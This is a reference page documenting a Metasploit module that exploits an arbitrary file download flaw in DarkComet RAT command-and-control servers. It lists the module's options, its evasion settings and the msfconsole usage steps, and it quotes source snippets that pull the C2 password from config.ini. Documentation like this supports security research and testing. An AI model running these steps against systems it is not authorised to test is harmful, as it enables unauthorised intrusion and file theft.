DarkComet Server Remote File Download Exploit - Metasploit


This page contains detailed information about how to use the auxiliary/gather/darkcomet_filedownloader metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
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Module Overview

Name: DarkComet Server Remote File Download Exploit
Module: auxiliary/gather/darkcomet_filedownloader
Source code: modules/auxiliary/gather/darkcomet_filedownloader.rb
Disclosure date: 2012-10-08
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): 1604
List of CVEs: -

This module exploits an arbitrary file download vulnerability in the DarkComet C&C server versions 3.2 and up. The exploit does not need to know the password chosen for the bot/server communication.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

msf > use auxiliary/gather/darkcomet_filedownloader
msf auxiliary(darkcomet_filedownloader) > show targets
    ... a list of targets ...
msf auxiliary(darkcomet_filedownloader) > set TARGET target-id
msf auxiliary(darkcomet_filedownloader) > show options
    ... show and set options ...
msf auxiliary(darkcomet_filedownloader) > exploit

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Msfconsole Usage

Here is how the gather/darkcomet_filedownloader auxiliary module looks in the msfconsole:

msf6 > use auxiliary/gather/darkcomet_filedownloader

msf6 auxiliary(gather/darkcomet_filedownloader) > show info

       Name: DarkComet Server Remote File Download Exploit
     Module: auxiliary/gather/darkcomet_filedownloader
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2012-10-08

Provided by:
  Shawn Denbow & Jesse Hertz
  Jos Wetzels

Check supported:
  No

Basic options:
  Name          Current Setting  Required  Description
  ----          ---------------  --------  -----------
  BRUTETIMEOUT  1                no        Timeout (in seconds) for bruteforce attempts
  KEY                            no        DarkComet RC4 key (include DC prefix with key eg. #KCMDDC51#-890password)
  LHOST         0.0.0.0          yes       This is our IP (as it appears to the DarkComet C2 server)
  NEWVERSION    true             no        Set to true if DarkComet version >= 5.1, set to false if version < 5.1
  RHOSTS        0.0.0.0          yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT         1604             yes       The target port (TCP)
  STORE_LOOT    true             no        Store file in loot (will simply output file to console if set to false).
  TARGETFILE                     no        Target file to download (assumes password is set)

Description:
  This module exploits an arbitrary file download vulnerability in the 
  DarkComet C&C server versions 3.2 and up. The exploit does not need 
  to know the password chosen for the bot/server communication.

References:
  https://www.nccgroup.trust/globalassets/our-research/us/whitepapers/PEST-CONTROL.pdf
  http://samvartaka.github.io/exploitation/2016/06/03/dead-rats-exploiting-malware

Module Options

This is a complete list of options available in the gather/darkcomet_filedownloader auxiliary module:

msf6 auxiliary(gather/darkcomet_filedownloader) > show options

Module options (auxiliary/gather/darkcomet_filedownloader):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   BRUTETIMEOUT  1                no        Timeout (in seconds) for bruteforce attempts
   KEY                            no        DarkComet RC4 key (include DC prefix with key eg. #KCMDDC51#-890password)
   LHOST         0.0.0.0          yes       This is our IP (as it appears to the DarkComet C2 server)
   NEWVERSION    true             no        Set to true if DarkComet version >= 5.1, set to false if version < 5.1
   RHOSTS        0.0.0.0          yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT         1604             yes       The target port (TCP)
   STORE_LOOT    true             no        Store file in loot (will simply output file to console if set to false).
   TARGETFILE                     no        Target file to download (assumes password is set)

Advanced Options

Here is a complete list of advanced options supported by the gather/darkcomet_filedownloader auxiliary module:

msf6 auxiliary(gather/darkcomet_filedownloader) > show advanced

Module advanced options (auxiliary/gather/darkcomet_filedownloader):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   CHOST                            no        The local client address
   CPORT                            no        The local client port
   ConnectTimeout  10               yes       Maximum number of seconds to establish a TCP connection
   Proxies                          no        A proxy chain of format type:host:port[,type:host:port][...]
   SSL             false            no        Negotiate SSL/TLS for outgoing connections
   SSLCipher                        no        String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
   SSLVerifyMode   PEER             no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion      Auto             yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   VERBOSE         false            no        Enable detailed status messages
   WORKSPACE                        no        Specify the workspace for this module

Auxiliary Actions

This is a list of all auxiliary actions that the gather/darkcomet_filedownloader module can do:

msf6 auxiliary(gather/darkcomet_filedownloader) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the gather/darkcomet_filedownloader auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(gather/darkcomet_filedownloader) > show evasion

Module evasion options:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   TCP::max_send_size  0                no        Maxiumum tcp segment size.  (0 = disable)
   TCP::send_delay     0                no        Delays inserted before every send.  (0 = disable)

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Could not find password in config.ini ...

Here is a relevant code snippet related to the "Could not find password in config.ini ..." error message:

394:	    if !filedata.nil?
395:	      # Automatically try to extract password from config.ini if we haven't set a key yet
396:	      if datastore['KEY'] == ''
397:	        password = parse_password(filedata)
398:	        if password.nil?
399:	          print_status("Could not find password in config.ini ...")
400:	        elsif password == ''
401:	          print_status("C2 server uses empty password!")
402:	        else
403:	          print_status("C2 server uses password [#{password}]")
404:	        end

Attack failed or empty config file encountered ...

Here is a relevant code snippet related to the "Attack failed or empty config file encountered ..." error message:

412:	        else
413:	          store_loot("darkcomet.file", "text/plain", datastore['RHOST'], filedata, datastore['TARGETFILE'], "File retrieved from DarkComet C2 server")
414:	        end
415:	      else
416:	        print_status(filedata.to_s)
417:	      end
418:	    else
419:	      print_error("Attack failed or empty config file encountered ...")
420:	    end
421:	  end
422:	end

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References

See Also

Check also the following modules related to this module:

Authors

  • Shawn Denbow & Jesse Hertz
  • Jos Wetzels

Version

This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.

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